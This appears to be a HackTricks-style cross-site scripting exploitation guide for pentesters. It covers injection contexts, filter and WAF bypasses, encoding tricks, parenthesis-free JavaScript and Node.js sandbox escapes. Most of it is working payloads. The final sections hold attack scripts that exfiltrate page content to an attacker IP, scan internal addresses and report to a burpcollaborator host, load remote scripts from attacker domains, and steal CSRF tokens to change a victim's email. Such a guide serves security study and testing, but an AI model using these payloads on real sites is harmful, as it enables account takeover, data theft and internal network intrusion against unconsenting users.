In order to successfully exploit a XSS the first thing you need to find is a value controlled by you that is being reflected in the web page.
Intermediately reflected: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a Reflected XSS.
Stored and reflected: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a Stored XSS.
Accessed via JS: If you find that a value controlled by you is being access using JS you could exploit a DOM XSS.
Contexts
When trying to exploit a XSS the first thing you need to know if where is your input being reflected. Depending on the context, you will be able to execute arbitrary JS code on different ways.
Raw HTML
If your input is reflected on the raw HTML page you will need to abuse some HTML tag in order to execute JS code: <img , <iframe , <svg , <script ... these are just some of the many possible HTML tags you could use.
Also, keep in mind Client Side Template Injection.
Inside HTML tags attribute
If your input is reflected inside the value of the attribute of a tag you could try:
To escape from the attribute and from the tag (then you will be in the raw HTML) and create new HTML tag to abuse: "><img [...]
If you can escape from the attribute but not from the tag (> is encoded or deleted), depending on the tag you could create an event that executes JS code: " autofocus onfocus=alert(1) x="
If you cannot escape from the attribute (" is being encoded or deleted), then depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it's clicked. Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"
If your input is reflected inside "unexpoitable tags" you could try the accesskey trick to abuse the vuln (you will need some kind of social engineer to exploit this): " accesskey="x" onclick="alert(1)" x="
Weird example of Angular executing XSS if you controls a class name:
In this case your input is reflected between <script> [...] </script> tags of a HTML page, inside a .js file or inside an attribute using javascript: protocol:
If reflected between <script> [...] </script> tags, even if your input if inside any kind of quotes, you can try to inject </script> and escape from this context. This works because the browser will first parse the HTML tags and then the content, therefore, it won't notice that your injected </script> tag is inside the HTML code.
If reflected inside a JS string and the last trick isn't working you would need to exit the string, execute your code and reconstruct the JS code (if there is any error, it won't be executed:
'-alert(1)-'
';-alert(1)//
\';alert(1)//
If reflected inside template literals you can embed JS expressions using ${ ... } syntax: var greetings = `Hello, ${alert(1)}`
Unicode encode works to write valid javascript code:
\u{61}lert(1)\u0061lert(1)\u{0061}lert(1)
Javascript Hoisting
Javascript Hoisting references the opportunity to declare functions, variables or classes after they are used so you can abuse scenarios where a XSS is using undeclared variables or functions.Check the following page for more info:
Several web pages have endpoints that accept as parameter the name of the function to execute. A common example to see in the wild is something like: ?callback=callbackFunc.
A good way to find out if something given directly by the user is trying to be executed is modifying the param value (for example to 'Vulnerable') and looking in the console for errors like:
In case it's vulnerable, you could be able to trigger an alert just doing sending the value: ?callback=alert(1). However, it' very common that this endpoints will validate the content to only allow letters, numbers, dots and underscores ([\w\._]).
However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to access any element in the DOM:
You can also try to trigger Javascript functions directly: obj.sales.delOrders.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, other pages in the same origin will have a more interesting DOM to perform more actions.
Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:
There is JS code that is using unsafely some data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
These kind of XSS can be found anywhere. They not depend just on the client exploitation of a web application but on anycontext. These kind of arbitrary JavaScript execution can even be abuse to obtain RCE, readarbitraryfiles in clients and servers, and more.
Some examples:
When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse < to create new tags: Just try to reflect that char and check if it's being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
For this cases also keep in mindClient Side Template Injection.Note: A HTML comment can be closed using**** --> or ****--!>
In this case and if no black/whitelisting is used, you could use payloads like:
But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create.
Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Custom tags
If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:
If some kind of blacklist is being used you could try to bypass it with some silly tricks:
//Random capitalization<script> --> <ScrIpT><img --> <ImG//Double tag, in case just the first match is removed<script><script><scr<script>ipt><SCRscriptIPT>alert(1)</SCRscriptIPT>//You can substitude the space to separate attributes for://*%00//%00*/%2F%0D%0C%0A%09//Unexpected parent tags<svg><x><script>alert('1')</x>//Unexpected weird attributes<script x><scripta="1234"><script ~~~><script/random>alert(1)</script><script ///Note the newline>alert(1)</script><scr\x00ipt>alert(1)</scr\x00ipt>//Not closing tag, ending with " <" or " //"<iframeSRC="javascript:alert('XSS');" <<iframe SRC="javascript:alert('XSS');"////Extra open<<script>alert("XSS");//<</script>//Just weird an unexpected, use your imagination<</script/script><script><input type=image srconerror="prompt(1)">//Using `` instead of parenthesisonerror=alert`1`//Use more than one<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
<!-- Taken from the blog of Jorge Lajara --><svg/onload=alert``><scriptsrc=//aa.es><scriptsrc=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
If in order to exploit the vulnerability you need the user to click a link or a form with prepopulated data you could try to abuse Clickjacking (if the page is vulnerable).
Impossible - Dangling Markup
If you just think that it's impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markupbecause you could exploit the vulnerability without executing JS code.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
If you are in inside a HTML tag, the first thing you could try is to escape from the tag and use some of the techniques mentioned in the previous section to execute JS code.
If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag):
<p style="animation: x;" onanimationstart="alert()">XSS</p><p style="animation: x;" onanimationend="alert()">XSS</p>#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Within the attribute
Even if you cannot escape from the attribute (" is being encoded or deleted), depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it's clicked.
Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
The HTML encoded characters inside the value of HTML tags attributes are decoded on runtime. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Note that any kind of HTML encode is valid:
//HTML entities'-alert(1)-'//HTML hex without zeros'-alert(1)-'//HTML hex with zeros'-alert(1)-'//HTML dec without zeros'-alert(1)-'//HTML dec with zeros'-alert(1)-'<ahref="javascript:var a=''-alert(1)-''">a</a><ahref="javascript:alert(2)">a</a><ahref="javascript:alert(3)">a</a>
//For some reason you can use unicode to encode "alert" but not "(1)"<imgsrconerror=\u0061\u006C\u0065\u0072\u0074(1) /><imgsrconerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Special Protocols Within the attribute
There you can use the protocols javascript: or data: in some places to execute arbitrary JS code. Some will require user interaction on some won't.
javascript:alert(1)JavaSCript:alert(1)javascript:%61%6c%65%72%74%28%31%29//URL encodejavascript:alert(1)javascript:alert(1)javascript:alert(1)javascriptΪlert(1)java //Note the new line script:alert(1)data:text/html,<script>alert(1)</script>DaTa:text/html,<script>alert(1)</script>data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3edata:text/html;charset=UTF-8,<script>alert(1)</script>data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pgdata:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Places where you can inject these protocols
In general the javascript: protocol can be used in any tag that accepts the attribute href and in most of the tags that accepts the attribute src (but not <img)
Moreover, there is another nice trick for these cases: Even if your input inside javascript:... is being URL encoded, it will be URL decoded before it's executed. So, if you need to escape from the string using a single quote and you see that it's being URL encoded, remember that it doesn't matter, it will be interpreted as a single quote during the execution time.
Note that if you try to use bothURLencode + HTMLencode in any order to encode the payload it won'twork, but you can mix them inside the payload.
Using Hex and Octal encode with javascript:
You can use Hex and Octal encode inside the src attribute of iframe (at least) to declare HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>// This WORKS<iframesrc=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' /><iframesrc=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />//Encoded: alert(1)// This doesn't work<svgonload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' /><svgonload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<atarget="_blank"rel="opener"
If you can inject any URL in an arbitrary <a href= tag that contains the target="_blank" and rel="opener" attributes, check the following page to exploit this behavior:
<!-- Injection inside meta attribute--><metaname="apple-mobile-web-app-title"content=""Twitterpopoverid="newsletter"onbeforetoggle=alert(2) /><!-- Existing target--><buttonpopovertarget="newsletter">Subscribe to newsletter</button><divpopoverid="newsletter">Newsletter popup</div>
From here: You can execute an XSS payload inside a hidden attribute, provided you can persuade the victim into pressing the key combination. On Firefox Windows/Linux the key combination is ALT+SHIFT+X and on OS X it is CTRL+ALT+X. You can specify a different key combination using a different key in the access key attribute. Here is the vector:
If you found a XSS in a very small part of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to modify the space that element occupies to maximize the probabilities of have the link fired.
For example, you could add some styling in the element like: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
.test {display:block; color: blue; width: 100%}
and
#someid {top: 0; font-family: Tahoma;}
Now you can modify our link and bring it to the form
In these case you input is going to be reflected inside the JS code of a .js file or between <script>...</script> tags or between HTML events that can execute JS code or between attributes that accepts the javascript: protocol.
Escaping <script> tag
If your code is inserted within <script> [...] var input = 'reflected data' [...] </script> you could easily escape closing the <script> tag:
Note that in this example we haven't even closed the single quote. This is because HTML parsing is performed first by the browser, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
Inside JS code
If <> are being sanitised you can still escape the string where your input is being located and execute arbitrary JS. It's important to fix JS syntax, because if there are any errors, the JS code won't be executed:
In order to construct strings apart from single and double quotes JS also accepts backticks`` . This is known as template literals as they allow to embedded JS expressions using ${ ... } syntax.
Therefore, if you find that your input is being reflected inside a JS string that is using backticks, you can abuse the syntax ${ ... } to execute arbitrary JS code:
This can be abused using:
`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``functionloop(){return loop}loop``````````````
Encoded code execution
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab'\b'//backspace'\f'//form feed'\n'//new line'\r'//carriage return'\t'//tab// Any other char escaped is just itself
//This is a 1 line comment/* This is a multiline comment*/<!--This is a 1line comment#!This is a 1 line comment, but "#!" must to be at the beggining of the first line-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
//Javascript interpret as new line these chars:String.fromCharCode(10); alert('//\nalert(1)') //0x0aString.fromCharCode(13); alert('//\ralert(1)') //0x0dString.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
JavaScript whitespaces
log=[];functionfunct(){}for(let i=0;i<=0x10ffff;i++){try{eval(`funct${String.fromCodePoint(i)}()`);log.push(i); }catch(e){} }console.log(log)//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:<img/src/onerror=alert(1)>
Javascript inside a comment
//If you can only inject inside a JS comment, you can still leak something//If the user opens DevTools request to the indicated sourceMappingURL will be send//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript without parentheses
// By setting locationwindow.location='javascript:alert\x281\x29'x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x// or any DOMXSS sink such as location=name// Backtips// Backtips pass the string as an array of lenght 1alert`1`// Backtips + Tagged Templates + call/applyeval`alert\x281\x29`// This won't work as it will just return the passed arraysetTimeout`alert\x281\x29`eval.call`${'alert\x281\x29'}`eval.apply`${[`alert\x281\x29`]}`[].sort.call`${alert}1337`[].map.call`${eval}\\u{61}lert\x281337\x29`// To pass several arguments you can usefunctionbtt(){console.log(arguments);}btt`${'arg1'}${'arg2'}${'arg3'}`//It's possible to construct a function and call itFunction`x${'alert(1337)'}x```// .replace can use regexes and call a function if something is found"a,".replace`a${alert}`//Initial ["a"] is passed to str as "a," and thats why the initial string is "a,""a".replace.call`1${/./}${alert}`// This happened in the previous example// Change "this" value of call to "1,"// match anything with regex /./// call alert with "1""a".replace.call`1337${/..../}${alert}`//alert with 1337 instead// Using Reflect.apply to call any function with any argumnetsReflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`// Using Reflect.set to call set any value to a variableReflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString// These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''toString=alert;window+''// Error handlerwindow.onerror=eval;throw"=alert\x281\x29";onerror=eval;throw"=alert\x281\x29";<imgsrc=x onerror="window.onerror=eval;throw'=alert\x281\x29'">{onerror=eval}throw"=alert(1)" //No ";"onerror=alert //No ";" using new linethrow 1337 // Error handler + Special unicode separatorseval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last elementvar a = (1,2,3,4,5,6) // a = 6throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alertthrow onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause.try{throw onerror=alert}catch{throw 1}// Has instance symbol'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
//Eval like functionseval('ale'+'rt(1)')setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Function('ale'+'rt(10)')``;[].constructor.constructor("alert(document.domain)")``[]["constructor"]["constructor"]`$${alert()}```import('data:text/javascript,alert(1)')//General function executions``//Can be use as parenthesisalert`document.cookie`alert(document['cookie']) with(document)alert(cookie) (alert)(1)(alert(1))in"."a=alert,a(1)[1].find(alert)window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);top[/al/.source+/ert/.source](1)top[8680439..toString(30)](1)Function("ale"+"rt(1)")();newFunction`al\ert\`6\``;Set.constructor('ale'+'rt(13)')();Set.constructor`al\x65rt\x2814\x29```;$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)globalThis[`al`+/ert/.source]`1`this[`al`+/ert/.source]`1`[alert][0].call(this,1)window['a'+'l'+'e'+'r'+'t']()window['a'+'l'+'e'+'r'+'t'].call(this,1)top['a'+'l'+'e'+'r'+'t'].apply(this,[1])(1,2,3,4,5,6,7,8,alert)(1)x=alert,x(1)[1].find(alert)top["al"+"ert"](1)top[/al/.source+/ert/.source](1)al\u0065rt(1)al\u0065rt`1`top['al\145rt'](1)top['al\x65rt'](1)top[8680439..toString(30)](1)<svg><animateonbegin=alert() attributeName=x></svg>
DOM vulnerabilities
There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Due to the extension of the explanation ofDOM vulnerabilities it was moved to this page:
There you will find a detailed explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them.
Also, don't forget that at the end of the mentioned post you can find an explanation about DOM Clobbering attacks.
Upgrading Self-XSS
Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
You can find a great abuse of this technique in this blog post.
Sending your session to the admin
Maybe an user can share his profile with the admin and if the self XSS is inside the profile of the user and the admin access it, he will trigger the vulnerability.
Session Mirroring
If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
You could make the administrator trigger your self XSS and steal his cookies/session.
Other Bypasses
Normalised Unicode
You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Due to RoR mass assignment quotes are inserted in the HTML and then the quote restriction is bypassed and additoinal fields (onfocus) can be added inside the tag.
Form example (from this report), if you send the payload:
If you find that you can inject headers in a 302 Redirect response you could try to make the browser execute arbitrary JavaScript. This is not trivial as modern browsers do not interpret the HTTP response body if the HTTP response status code is a 302, so just a cross-site scripting payload is useless.
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Only Letters, Numbers and Dots
If you are able to indicate the callback that javascript is going to execute limited to those chars. Read this section of this post to find how to abuse this behaviour.
Valid <script> Content-Types to XSS
(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
(From here) So, which types could be indicated to load a script?
<scripttype="???"></script>
The answer is:
module (default, nothing to explain)
webbundle: Web Bundles is a feature that you can package a bunch of data (HTML, CSS, JS…) together into a .wbn file.
<scripttype="webbundle">{ "source": "https://example.com/dir/subresources.wbn", "resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]}</script>The resources are loaded from the source .wbn, not accessed via HTTP
<scripttype="importmap">{ "imports": { "moment": "/node_modules/moment/src/moment.js", "lodash": "/node_modules/lodash-es/lodash.js" }}</script><!-- With importmap you can do the following --><script>import moment from"moment";import { partition } from"lodash";</script>
This behaviour was used in this writeup to remap a library to eval to abuse it can trigger XSS.
speculationrules: This feature is mainly to solve some problems caused by pre-rendering. It works like this:
If the page is returnin a text/xml content-type it's possible to indicate a namespace and execute arbitrary JS:
<xml><text>hello<imgsrc="1"onerror="alert(1)"xmlns="http://www.w3.org/1999/xhtml" /></text></xml><!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Special Replacement Patterns
When something like "some {{template}} data".replace("{{template}}", <user_input>) is used. The attacker could use special string replacements to try to bypass some protections: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
For example in this writeup, this was used to scape a JSON string inside a script and execute arbitrary code.
If you are only have a limited set of chars to use, check these other valid solutions for XSJail problems:
// eval + unescape + regexeval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))// use of withwith(console)log(123)with(/console.log(1)/)with(this)with(constructor)constructor(source)()// Just replace console.log(1) to the real code, the code we want to run is://return String(process.mainModule.require('fs').readFileSync('flag.txt'))with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solutionwith(/with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))/)with(this)with(constructor)constructor(source)()// For more uses of with go to challenge misc/CaaSio PSE in// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
If everything is undefined before executing untrusted code (like in this writeup) it's possible to generate useful objects "out of nothing" to abuse the execution of arbitrary untrusted code:
Using import()
// although import "fs" doesn’t work, import('fs') does.import("fs").then(m=>console.log(m.readFileSync("/flag.txt","utf8")))
Accessing require indirectly
According to this modules are wrapped by Node.js within a function, like this:
Therefore, if from that module we can call another function, it's possible to use arguments.callee.caller.arguments[1] from that function to access require:
In a similar way to the previous example, it's possible to use error handlers to access the wrapper of the module and get the require function:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
You won't be able to access the cookies from JavaScript if the HTTPOnly flag is set in the cookie. But here you have some ways to bypass this protection if you are lucky enough.
Steal Page Content
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Find internal IPs
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
Keylogger
Just searching in github I found a few different ones:
You can also use metasploit http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Access Hidden Content
From this writeup it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Got XSS on a site that uses caching? Try upgrading that to SSRF through Edge Side Include Injection with this payload:
<esi:include src="http://yoursite.com/capture" />
Use it to bypass cookie restrictions, XSS filters and much more!
More information about this technique here: XSLT.
XSS in dynamic created PDF
If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code.
So, if the PDF creator bot finds some kind of HTMLtags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.
AMP, aimed at accelerating web page performance on mobile devices, incorporates HTML tags supplemented by JavaScript to ensure functionality with an emphasis on speed and security. It supports a range of components for various features, accessible via AMP components.
The AMP for Email format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training GCP Red Team Expert (GRTE)